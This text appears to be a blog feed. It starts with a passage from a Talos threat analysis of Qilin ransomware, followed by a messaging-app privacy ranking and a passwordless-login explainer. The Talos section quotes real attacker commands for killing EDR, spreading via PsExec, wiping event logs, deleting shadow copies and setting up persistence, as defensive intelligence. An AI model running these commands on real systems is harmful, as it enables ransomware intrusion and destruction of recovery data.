Talos observed traces of attempts to disable EDR using multiple methods. Broadly speaking, we have frequently observed commands that directly execute the EDR’s “uninstall.exe” or attempt to stop services using the sc command. At the same time, attackers have also been observed running open-source tools such as dark-kill and HRSword. The commands below are traces of dark-kill usage. Instead of running in normal user mode, dark.sys is specified as a driver loaded into the Windows kernel and the service is started under the name dark. The traces also show that, as needed, attackers re-register a driver from a different path and finally remove the service to erase their tracks.

sc create dark type= kernel binPath=dark.sys
sc start dark
sc create dark type= kernel binPath=C:Users<user>DownloadsDarkKillDebugdark.sys
sc delete dark

Additionally, to execute “HRSword.exe”, attackers attempt to run a batch file with administrator privileges by using VBScript via mshta, specifying the runas option in ShellExecute. Because logs show that a shortcut file HRSword.lnk was created after 1. bat was executed, it is possible that HRSword.exe is being launched via that .lnk file.

mshta vbscript:CreateObject(Shell.Application).ShellExecute(cmd.exe,/c C:UsersxxxxxHRSwordHRSWOR~1.BAT ::,,runas,1)

Impact and inhibit recovery

Before Qilin ransomware is executed, Talos has observed cases in which remote access tools such as Cobalt Strike loader and SystemBC are run. Cobalt Strike was discovered on the compromised host earlier, but it is not clear whether Cobalt Strike installed SystemBC.

Cobalt Strike Loader

The Cobalt Strike loader Talos examined decrypts the encrypted payload contained in the .bss section of the binary shown in Figure 16, then deploys and executes the Cobalt Strike Beacon in memory.

The embedded encrypted payload is executed in memory following the flow shown in Figure 17. The CreateThreadpoolWait and SetThreadpoolWait APIs are Windows thread-pool APIs. Unlike the commonly used CreateThread API (which immediately creates a new thread and begins executing code at a specified address), they wait for events or object state changes and then automatically run worker callbacks.

In this code, the decrypted_buf is registered as the callback function via the arguments to CreateThreadpoolWait, creating a mechanism that will invoke this callback when the wait object becomes signaled. After that, execute permission is granted with VirtualProtect, and a MessageBoxA (shown in the figure and intended for anti-sandbox purposes) prompts for user interaction. When the user clicks OK, SetThreadpoolWait is called. Because EventA was created with an initial signaled state (bInitialState = 1), the decrypted code already mapped into memory runs immediately.

For decryption, a custom routine based on RC4 is implemented: the first 2,048 bytes are fully decrypted, and thereafter decryption is performed in 32-byte units in which only the first 24 bytes are decrypted. The remaining 8 bytes stay encrypted, so this behavior differs from standard RC4.

Cobalt Strike Beacon

The Cobalt Strike Beacon deployed in memory is configured (from its config) as Cobalt Strike version 4.x, with Malleable C2 used to spoof HTTP headers. In this configuration the http_get_header and http_post_header include “Host: ocsp.verisign.com”, effectively separating the visible host header from the actual destination to make the traffic appear as OCSP or certificate distribution traffic. Communication is set to use HTTPS over TCP port 443 to the Team Server (C2).

Qilin Ransomware

In several cases, a variant of Qilin ransomware, known as “Qilin.B”, was used.

This section describes its behavior. For more information, please refer to Halcyon’s analysis article published in October 2024.

Execution method

Attackers sometimes run only a single encryptor, but Talos has also observed cases where two encryptor are deployed. In cases where two encryptor are executed, the first, encryptor_1.exe, was distributed across the environment using PsExec (see the command below). This command copies the local <encryptor_1>.exe to the remote \IP address, elevates it to run with administrative privileges, and then launches it. The other, “encryptor_2.exe”, is executed from a single system and targets multiple network shares.

cmd /C [PsExec] -accepteula \IP Address -c -f -h -d -i
C:Usersxxx<encryptor_1>.exe --password [PASSWORD] --spread --spread-process

PowerShell command executed

A PowerShell command is being executed to efficiently retrieve the hostnames of all computers from Active Directory (AD).

powershell -Command Import-Module ActiveDirectory ; Get-ADComputer -Filter * | Select-Object -ExpandProperty DNSHostName

Another PowerShell command observed is one that installs the Remote Server Administration Tools for AD (the RSAT-AD-PowerShell module). It runs PowerShell cmdlets related to Active Directory Domain Services (AD DS) and Active Directory Lightweight Directory Services (AD LDS). This enables enumeration of domain users, groups, and privileges.

Powershell -Command ServerManagerCmd.exe -i RSAT-AD-PowerShell ; Install-WindowsFeature RSAT-AD-PowerShell ; Add-WindowsCapability -Online -Name 'RSAT.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0'

Next, the command Get-WinEvent -ListLog * is used to enumerate all event logs on the system. Logs that contain records (where RecordCount is not 0) are filtered, and the .NET EventLogSession.GlobalSession.ClearLog() method is called to wipe them entirely.

powershell $logs = Get-WinEvent -ListLog * | Where-Object {$_.RecordCount} | Select-Object -ExpandProperty LogName ; ForEach ( $l in  $logs | Sort | Get-Unique ) {[System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog($l)}

Finally, the PowerShell script targeting hosts in virtualized environments is hard-coded.

As part of its PowerShell operation, it establishes a connection to the vCenter server, enumerates all datacenters and clusters within the vCenter environment, and disables HA and DRS in cluster configurations. (see Figure 21)

It then enumerates all ESXi hosts, changes the root password, and enables SSH access. Finally, it uploads an arbitrary binary to the “/tmp” directory and executes it across all identified hosts. It makes the binary executable with “chmod +x”, sets “/User/execInstalledOnly” to 0 via the $esxiRights command (thereby allowing execution of unsigned binaries) , and then executes the payload on all hosts using the Process-ESXis function.

For lateral movement

To broaden the scope of file access and increase the impact when ransomware is executed, the fsutil command is also run. This command performs operations on symbolic links; R2R means Remote to Remote (a network share to another network share), and R2L means Remote to Local (a network share to local). By executing these two commands and enabling each respectively, attackers can achieve different effects. for example, in R2R, a symbolic link on server A can be used to reference files on another server B; in R2L, if a shared symbolic link on server A points to a file on the host, an attacker can access the host’s local file through that link. These commands may be executed using PsExec.

cmd /C net use
cmd /C fsutil behavior set SymlinkEvaluation R2R:1
cmd /C fsutil behavior set SymlinkEvaluation R2L:1

Delete backup

The ransomware changes the Volume Shadow Copy Service (VSS) startup type to Manual, and delete all shadow copies (volume snapshots) maintained by VSS.

cmd /C net start vss
cmd /C wmic service where name='vss' call ChangeStartMode Manual
cmd /C vssadmin.exe Delete Shadows /all /quiet
cmd /C net stop vss
cmd /C wmic service where name='vss' call ChangeStartMode Disabled

Ransom note

The ransom note shown in Figure 23 is created in each encrypted folder. The note primarily states that data has been compromised, includes a link to a leak site on a .onion address that requires a Tor connection, and provides a URL (specified by IP address) that can be accessed without Tor for victims who do not have a Tor environment. It also lists the types of data included and warnings about the consequences of ignoring the demands.

In addition, the ‘Credential’ section states that a unique company ID is assigned as a file extension for each victim company, and that by using the domain URL shown in the note one can access the site with that unique login ID and password.

Config

The config for Qilin Ransomware includes file-encryption settings, service and process stop lists, and a list of entity-specific accounts. There are eight items, four of which are as follows:

“extension_black_list” contains file extensions that will not be encrypted.
“extension_white_list” specifies the extensions that this ransomware will explicitly encrypt.
“filename_black_list” lists filenames that will not be encrypted.
“directory_black_list” lists directories that will not be encrypted.

We also observed two lists named “white_symlink_dirs” and “white_symlink_subdirs”. In the Qilin ransomware sample we analyzed, white_symlink_dirs is empty, and only thing white_symlink_subdirs contains is the entry “ClusterStorage”.

ClusterStorage refers to the directory name used by Windows Server Failover Cluster (Cluster Shared Volumes, or CSV). CSVs commonly host highly critical files for organizations such as Hyper-V virtual machines (VHDX) and databases. This shows the ransomware is intended to increase impact by targeting not only ordinary user directories but also virtualization and cluster infrastructure directly as hostages. Therefore, files in subdirectories of ClusterStorage are explicitly listed as targets to be encrypted. The fact that white_symlink_dirs is empty is likely intended to avoid following symbolic links that could cause infinite loops or double-encryption.

“process_black_list” and “win_services_black_list” specify processes and services to terminate, including those related to databases, backups, security, and remote management. Notably, as shown in Figure 24, this config also had victim-environment-specific domain, username and password hardcoded. This indicates that the attackers preloaded reconnaissance information into the ransomware to facilitate privilege escalation and related activities.

extension_black_list

["themepack", "nls", "diapkg", "msi", "lnk", "exe", "scr", "bat", "drv", "rtp", "msp", "prf", "msc", "ico", "key", "ocx", "diagcab", "diagcfg", "pdb", "wpx", "hlp", "icns", "rom", "dll", 
"msstyles", "mod", "ps1", "ics", "hta", "bin", "cmd", "ani", "386", "lock", "cur", "idx", "sys", "com", "deskthemepack", "shs", "theme", "mpa", "nomedia", "spl", "cpl", "adv", "icl", "msu", "company_id"]

extension_white_list

["mdf", "ldf", "bak", "vib", "vbk", "vbm", "vrb", "vmdk", "abk", "bkz", "sqb", "trn", "backup", "bkup", "old", "tibx", "pfi", "pvhd", "pbf", "dim", "gho", "vpcbackup", "arc", "mtf", "bkf", "dr"]

filename_black_list

["desktop.ini", "autorun.ini", "ntldr", "bootsect.bak", "thumbs.db", "boot.ini", "ntuser.dat", "iconcache.db", "bootfont.bin", "ntuser.ini", "ntuser.dat.log", "autorun.inf", "bootmgr", "bootmgr.efi", "bootmgfw.efi", "#recycle", "autorun.inf", "boot.ini", "bootfont.bin", "bootmgr", "bootmgr.efi", "bootmgfw.efi", "desktop.ini", "iconcache.db", "ntldr", "ntuser.dat", "ntuser.dat.log", "ntuser.ini", "thumbs.db", "#recycle", "bootsect.bak"]

directory_black_list

["windows", "system volume information", "intel", "admin$", "ipc$", "sysvol", "netlogon", "$windows.~ws", "application data", "mozilla", "program files (x86)", "program files", "$windows.~bt", "msocache", "tor browser", "programdata", "boot", "config.msi", "google", "perflogs", "appdata", "windows.old", "appdata", "..", ".", "boot", "windows", "windows.old", "$recycle.bin", "admin$"]

white_symlink_subdirs

["ClusterStorage"]

process_black_list

["vmms", "vmwp", "vmcompute", "agntsvc", "dbeng50", "dbsnmp", "encsvc", "excel", "firefox", "infopath", "isqlplussvc", "sql", "msaccess", "mspub", "mydesktopqos", "mydesktopservice", "notepad", "ocautoupds", "ocomm", "ocssd", "onenote", "oracle", "outlook", "powerpnt", "sqbcoreservice", "steam", "synctime", "tbirdconfig", "thebat", "thunderbird", "visio", "winword", "wordpad", "xfssvccon", "bedbh", "vxmon", "benetns", "bengien", "pvlsvr", "beserver", "raw_agent_svc", "vsnapvss", "cagservice", "qbidpservice", "qbdbmgrn", "qbcfmonitorservice", "sap", "teamviewer_service", "teamviewer", "tv_w32", "tv_x64", "cvmountd", "cvd", "cvfwd", "cvods", "saphostexec", "saposcol", "sapstartsrv", "avagent", "avscc", "dellsystemdetect", "enterpriseclient", "veeamnfssvc", "veeamtransportsvc", "veeamdeploymentsvc", "mvdesktopservice"]

win_services_black_list

["vmms", "mepocs", "memtas", "veeam", "backup", "vss", "sql", "msexchange", "sophos", "msexchange", "msexchange\$", "wsbexchange", "pdvfsservice", "backupexecvssprovider", "backupexecagentaccelerator", "backupexecagentbrowser", "backupexecdivecimediaservice", "backupexecjobengine", "backupexecmanagementservice", "backupexecrpcservice", "gxblr", "gxvss", "gxclmgrs", "gxcvd", "gxcimgr", "gxmmm", "gxvsshwprov", "gxfwd", "sapservice", "sap", "sap\$", "sapd\$", "saphostcontrol", "saphostexec", "qbcfmonitorservice", "qbdbmgrn", "qbidpservice", "acronisagent", "veeamnfssvc", "veeamdeploymentservice", "veeamtransportsvc", "mvarmor", "mvarmor64", "vsnapvss", "acrsch2svc", "(.*?)sql(.*?)"]

Accounts

Generating execution logs

When running, it creates a QLOG folder in %TEMP% and multiple ThreadId({Number}).LOG files. They allow the attacker to inspect detailed logs of the encryption process.

Change wallpaper setting

The ransomware creates a JPG image under %TEMP% to be used as the wallpaper, and modifies the following registry values.

HKEY_CURRENT_USERControl PanelDesktopWallpaper
(Example)
Value: C:%TEMP%ElSDJGep.jpg

Persistence

After ransomware execution, the attacker achieves persistence through both task scheduling and registry modification. First, a scheduled task is created with the name “TVInstallRestore”, configured to run at logon using the /SC ONLOGON argument. To disguise itself as a legitimate tool, the ransomware file is named “TeamViewer_Host_Setup – <encryptor_2>.exe”, leveraging the TeamViewer brand (which had been installed as an RMM tool prior to compromise). Second, to ensure the ransomware executes upon every reboot, its executable is added as a value under the RUN registry key.

This combination of scheduled tasks and registry entries allows the ransomware to maintain persistence across system restarts and user logons.

C:WINDOWSsystem32schtasks /Create /TN TVInstallRestore /TR "C:-INSTALLERSTeamViewer_Host_Setup - <encryptor_2>.exe /RESTORE" /RU SYSTEM /SC ONLOGON /F

HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun
Key
*random-alphabet in lowercase letters
Key Value
C:UsersAdministratorDesktop<encryptor_2>.exe --password [PASSWORD]--no-admin;

Appendix

MITRE ATT&CK TTPs

Tactic	Technique / ID
Initial Access	Valid Accounts — T1078
Initial Access	External Remote Services — T1133
Credential Access	Brute Force / Password Spraying — T1110 / T1110.003
Credential Access	Credential Dumping — T1003
Discovery / Initial Access	Domain Trust Discovery — T1482
Discovery	Remote System Discovery — T1018
Discovery	Account Discovery — Domain Accounts (T1087.002)
Discovery	System Owner/User Discovery — T1033
Discovery	Process Discovery — T1057
Discovery / Permissions	File and Directory Permissions Modification — T1222 (Windows: T1222.001)
Discovery / Network	Network Service Discovery / Network Service Scanning — T1046 / T1018
Discovery / System Information	System Information Discovery — T1082
Discovery / Execution	Command and Scripting Interpreter — PowerShell — T1059.001 / T1086
Exfiltration	Exfiltration Over C2 Channel — T1048
Exfiltration	Transfer Data to Cloud Account — T1537
Lateral Movement / Privilege Escalation / Defense Evasion	Domain or Tenant Policy Modification — Group Policy Modification (T1484.001)
Lateral Movement	Remote Desktop Protocol (RDP) — T1021.001
Lateral Movement	SMB/Windows Admin Shares — T1021.002
Resource / Ingress	Ingress Tool Transfer — T1105
Defense Evasion / Impair Defenses	Disable or Modify Tools — T1562.001 (Impair Defenses)
Defense Evasion	Clear Windows Event Logs — T1070.001
Impact / Inhibit Recovery	Inhibit System Recovery — T1490
Impact / Defense Evasion	Service Stop — T1489
Impact	Command and Control — TA0011
Impact	Data Encrypted for Impact — T1486
Persistence / Registry	Modify Registry — T1112 (Modify Registry)
Persistence	Scheduled Task/Job — T1053
Persistence / Boot or Logon Autostart	Registry Run Keys / Startup Folder — T1547.001

Coverage

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Network/Cloud Analytics (Stealthwatch/Stealthwatch Cloud) analyzes network traffic automatically and alerts users of potentially unwanted activity on every connected device.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Cisco Secure Access is a modern cloud-delivered Security Service Edge (SSE) built on Zero Trust principles. Secure Access provides seamless transparent and secure access to the internet, cloud services or private application no matter where your users work.　Please contact your Cisco account representative or authorized partner if you are interested in a free trial of Cisco Secure Access.

Umbrella, Cisco’s secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

Snort SIDs for the threats are: 65446

ClamAV detections are also available for this threat:

Win.Ransomware.Qilin-10044197-0
Win.Trojan.Systembc-10058229-0
Win.Loader.CobaltStrike-10058228-0
Win.Dropper.Mimikatz-9778171-1

Indicators of compromise (IOCs)

The IOCs can also be found in our GitHub repository here.

Cisco Talos Blog – Read More

Privacy rankings of popular messaging apps in 2025 | Kaspersky official blog

October 24, 2025/in Company Blogs

Although direct messages sent through a chat app are often perceived as a private conversation, it’s actually not that simple. Not only can your chats and data be used for advertising and AI training, but they can be shared with law enforcement and intelligence agencies. Furthermore, perfect strangers, or scammers — pretending to be your boss, for example — might reach out to you directly. Then again, attackers can use social engineering techniques to gain access to your account and read all of your chats in real-time.

Which services minimize the chance of these unwelcome events? That’s the question experts at the company Incogni set out to answer. They decided to compare popular social networks and messaging apps, and ranked them as per privacy levels from highest to lowest. The result is the Social Media Privacy Ranking 2025. This was an extensive study covering 15 social networks and chat apps, and comparing them across 18 criteria. Today, we focus on the scores for messaging apps and direct communication platforms — selecting only the most practical evaluation criteria. So, which of the common messaging apps are the most privacy-oriented?

Overall privacy rankings

We’ll start with Incogni’s final conclusions. After summing up all their scores across the criteria, they produced the following privacy rankings (lower is better):

Discord: 10.23
Telegram: 13.08
Snapchat: 13.39
Facebook Messenger: 22.22
WhatsApp: 23.17

But don’t rush to migrate all your chats from WhatsApp to Discord just yet — comparing only the criteria that matter most reveals a different picture. Incogni’s comprehensive study included some very peculiar points, such as the number of fines for data retention violations across all countries, the number of past hacks and data breaches, the readability of the privacy policy, the time it takes to have your data deleted after an account closure request, and so on.

However, there are also highly practical criteria: the types of data collected by the mobile app, the privacy level by default, the amount of user data visible to non-contacts, the use of user data for AI training, and the option to opt out of this. For those concerned about excessive government interference in private correspondence, the score for the response rates to government requests for user information will also be of interest. If we add up the scores from only these practical categories, the rankings shift significantly:

Telegram: 4.23
Snapchat: 7.72
Discord: 8.14
WhatsApp: 11.93
Facebook Messenger: 13.37

Incogni penalized WhatsApp 3.4 points for the fact that chats may be used for AI training, and users can’t opt out. However, there’s one important caveat: as of today, this only applies to user chats with Meta’s AI assistant, while other chats are still protected by end-to-end encryption, and can’t be used for training. Therefore, in our view, a more accurate score for WhatsApp would be 8.53; this doesn’t change its position, but significantly narrows the gap between it and the leading trio.

Let’s move past the numbers now, and review the practically significant findings of the analysis.

Private by default

An app focused on user interests sets all security and privacy settings to safe and private upon installation. The user can then lower the level of privacy where they choose to. Telegram and Snapchat exhibit this commendable behavior. Discord’s default settings are less private, while Facebook Messenger and WhatsApp are down at the bottom of the rankings. A similar situation is found with the number of privacy settings — Telegram and Snapchat offer the most.

We’ve published detailed guides on setting up privacy in Telegram, WhatsApp, and Discord, and you can find privacy configuration tips for many other popular apps, devices, and operating systems on our free Privacy Checker portal.

Secure against strangers

Minimizing the amount of information strangers can see is crucial for both privacy and physical safety. It limits the possibilities for scams, spam, stalking, and child abuse. The most secure accounts are provided equally by Telegram and WhatsApp — tying for first place. Facebook Messenger and Snapchat share second, while Discord ranks last in this regard.

Cooperating with authorities

Telegram doesn’t disclose the percentage of government requests for personal data that it grants — though it’s known to be greater than zero. As for the other platforms, Snapchat most frequently approves such requests (82%), Meta’s services approve them in 78% of cases (the breakdown by service is unknown), and Discord is not far behind at 77.4%.

Collecting data for advertising and other purposes

Every platform collects a certain amount of information about its users, their socio-demographic profile, and preferences. The study distinguishes between general data collection and mobile-app data collection. The former was based on privacy policies; the latter used the data published for the apps in the App Store and Google Play.

Based on general data collection, the leaders with the least amount of collected data are Telegram and WhatsApp. Discord took second place, and Snapchat and Facebook Messenger both ranked last. Regarding mobile-app data collection, the picture is slightly different: Telegram leads by a significant margin, followed by WhatsApp in second place, then Discord, Snapchat, and finally, Facebook Messenger.

Which messaging app is best?

Among the services reviewed, Telegram collects the least data and provides the widest range of privacy settings. While Discord leads the overall rankings thanks to limited data collection and a clean record on privacy fines, it falls short in privacy settings, and doesn’t default to secure options. WhatsApp offers extensive protection against strangers, and collects a relatively modest amount of user data.

Note that the ranking focuses on mainstream apps; more niche messaging apps that place a strong emphasis on privacy were simply not included. Truly confidential/sensitive conversations should ideally be conducted on one of these dedicated private messaging apps.

Additionally, Incogni didn’t focus on encryption. Among the reviewed apps, only WhatsApp offers full end-to-end encryption for all chats by default. This is a crucial consideration, for the hugely popular Telegram doesn’t guarantee message privacy: chats aren’t end-to-end encrypted by default.

Finally, don’t forget that the indicated level of security applies only to the official mobile clients of these messaging services. The desktop versions of popular messaging apps are far more vulnerable due to their architecture. As for using mods or third-party clients, it’s best to avoid them entirely — malicious versions are routinely distributed both through channels and group chats within the messaging services themselves, and through official app stores such as Google Play.

To protect Android smartphones from these malicious apps, consider Kaspersky for Android. Incidentally, after a recent update, it now also blocks phishing and malicious links in all notifications from any messaging or other app.

Messaging apps today arguably hold the maximum amount of private information about each of us. To avoid becoming a victim of a data leak, read our other posts:

Messengers 101: safety and privacy advice

What to do if your WhatsApp account gets hacked

What to do if your Telegram account is hacked

WhatsApp and Telegram account hijacking: how to protect yourself against scams

Chatting offline: an overview of mesh messaging apps

Kaspersky official blog – Read More

Think passwordless is too complicated? Let’s clear that up

October 24, 2025/in Company Blogs

By Janet Ho, Cisco Duo

Why passwords are still a problem

We’ve relied on passwords for years to protect our online accounts, but they’ve also become one of the easiest ways attackers get in. Many people reuse or simplify passwords, or even write them down because it’s hard to remember so many. That makes it easier for attackers to take advantage of stolen or reused credentials, and even worse, one stolen password can sometimes unlock several accounts.

Did you know? According to Forbes, 244 million passwords were leaked on a single crime forum, and half of the world’s internet users have been exposed to reuse attacks.

That’s why passwordless authentication is becoming so important. It lets you prove who you are without typing a password, using things like your fingerprint, face, or a security key on your device. This makes sign-ins easier for you and harder for attackers to fake, helping protect against phishing and stolen or weak passwords.

Clearing up the biggest myths about passwordless

Even with all these benefits, a few common myths still make people hesitate about going passwordless. Let’s clear them up.

Think passwordless is too complicated? Let's clear that up

It’s easy to assume that “passwordless” means skipping an important layer of protection.

In reality, passwordless is multi-factor. It verifies who you are using both your device and something only you can provide like your fingerprint or PIN.

When you log in, your device unlocks a unique digital key that never leaves it. Your fingerprint, face or PIN is only checked locally, not sent online. This makes it nearly impossible for attackers to steal or fake your login, the same strength as MFA, just without the password hassle.

A PIN might look like a password, but it doesn’t work the same way. Instead of being sent over the internet or stored on a company server, your PIN only unlocks your device locally. That means there’s nothing for attackers to steal or guess remotely.

Even a short PIN can be strong because your device limits how many times someone can try it. An attacker would have to physically possess your device to even attempt it. If you want extra protection, you can use a biometric like a fingerprint or face scan instead.

Biometrics sometimes get a bad reputation because people remember early flaws or scary headlines like phones that could be fooled by photos or fake fingerprints. Those issues came from outdated, low-cost sensors that were easier to trick.

Modern systems like Face ID and Windows Hello use 3D mapping, infrared light and “liveness” detection to make spoofing extremely difficult. In passwordless authentication, your fingerprint or face simply unlocks a private key stored on your device. That key never leaves your phone or computer and can’t be reused on other sites. Because biometrics are checked locally, not online, they block the remote attacks that plague passwords.

Some worry that using biometrics means handing over personal data that could be stolen. That concern usually comes from news about biometric surveillance, where information is stored in large central databases.

Passwordless authentication works differently. Your biometric stays on your device and is only used to unlock a local security key — it’s never uploaded, shared, or compared against a massive database.

The difference matters. Surveillance biometrics identify you remotely by matching your data against millions of records. Authentication biometrics, like Face ID or Windows Hello, simply confirm that you are the one holding your own device. That local check is what keeps your biometric private and safe.

A truly phishing-resistant passwordless system has a few built-in protections against modern phishing techniques.

Each login uses a unique digital key that stays on your device and never gets sent to the website. Even if someone builds a fake login page, there’s nothing to steal or reuse. That’s because passwordless systems check that you’re on the real website, not a look-alike page. Your browser does that check automatically before letting your device complete the login.

And only trusted software on your device can trigger your authenticator to approve a login. Hidden apps or push-phishing attempts can’t reach it.

Together, these protections make phishing far harder and, in most cases, stop it completely.

The bottom line: Easier, safer sign-ins for everyone

Passwordless isn’t just a new way to log in. It’s a safer, simpler way to protect what matters most. Whether at home or at work, taking small steps toward passwordless helps reduce risk and makes security easier for everyone.

Learn more about the myths and read the full report on Busting Passwordless Myths.

Take the next step and check out 5 Step Path to Passwordless ebook.

Cisco Talos Blog – Read More